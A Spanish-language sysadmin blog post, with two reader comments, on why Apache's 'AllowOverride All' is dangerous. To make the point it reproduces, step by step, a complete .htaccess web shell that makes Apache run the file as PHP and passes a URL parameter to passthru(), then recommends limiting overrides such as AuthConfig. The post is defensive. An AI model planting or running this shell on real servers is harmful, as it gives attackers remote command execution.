systemadmin.es > Seguridad > Malas costumbres: AllowOverride All

Malas costumbres: AllowOverride All

Anteriormente ya hemos hablado que el uso de .htaccess perjudica el rendimiento por las múltiples llamadas open() que hace buscando el fichero .htaccess. Por otro lado, se tiene por costumbre permitir sobreescribir cualquier directiva mediante dicho fichero, por lo que se pueden incluso inyectar webshells mediante dicho fichero.

Mediante un tweet vi el siguiente websell usando .htaccess (post original). Lo vemos por partes:

Primero empezamos el .htaccess a inyectar en el servidor con un comentario de Apache (#) seguido de comentario HTML (<!–) para que no nos molesten más adelante:

# <!-- Self contained .htaccess web shell - Part of the htshell project
# Written by Wireghoul - http://www.justanotherhacker.com

A continuación permitimos las peticiones directamente sobre los ficheros .htaccess:

# Override default deny rule to make .htaccess file accessible over web
<Files ~ "^\.ht">
    Order allow,deny
    Allow from all
</Files>

Y le decimos que los ficheros .htaccess deben ser interpretados por PHP:

# Make .htaccess file be interpreted as php file. This occur after apache has interpreted
# the apache directoves from the .htaccess file
AddType application/x-httpd-php .htaccess

Para finalmente podemos incluir el código PHP que queramos, por ejemplo, esta webshell sencilla:

<?php echo "-->
<form method='
<input type='text' name='c' value='".$_GET['c']."'>
<input type='submit' name='go' value='Go!'>
</form>
\n<pre>";
passthru($_GET['c']." 2>&1");
echo "</pre>"; ?>

Esto lo podemos evitar limitando las directivas que permitimos sobreescribir en el .htaccess. Por ejemplo, si se da permisos de .htaccess para que el usuario se gestione los usuarios a los que permite o deniega el acceso a la aplicación web, podemos usar AuthConfig en lugar del All:

AllowOverride AuthConfig

Por lo tanto, en el AllowOverride deberíamos definir únicamente lo que permitimos que el usuario mediante el .htaccess modifique para evitar que se puedan cambiar cualquier la configuración de apache como en este ejemplo de la webshell.

2 comments to “Malas costumbres: AllowOverride All”

  1. Según Apache esto tambien sería una solución.

    # 
    # The following lines prevent .htaccess and .htpasswd files from being
    # viewed by Web clients.
    #  
    
    <Files ~ "^\.ht">
        Order allow,deny
        Deny from all
        Satisfy all
    </Files>
    
    

    ¿Qué opinas?

  2. Esto suele estar en la configuración por defecto de cualquier Apache, pero si tenemos el AllowOverride All lo sobrescribimos con la segunda parte que comento:

    <Files ~ "^\.ht">
        Order allow,deny
        Allow from all
    </Files>
    

    Por lo que al tener preferencia el .htaccess no lo podemos solucionar con directivas en la configuración general del Apache

Deja un comentario:

XHTML - Tags permitidos:<a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>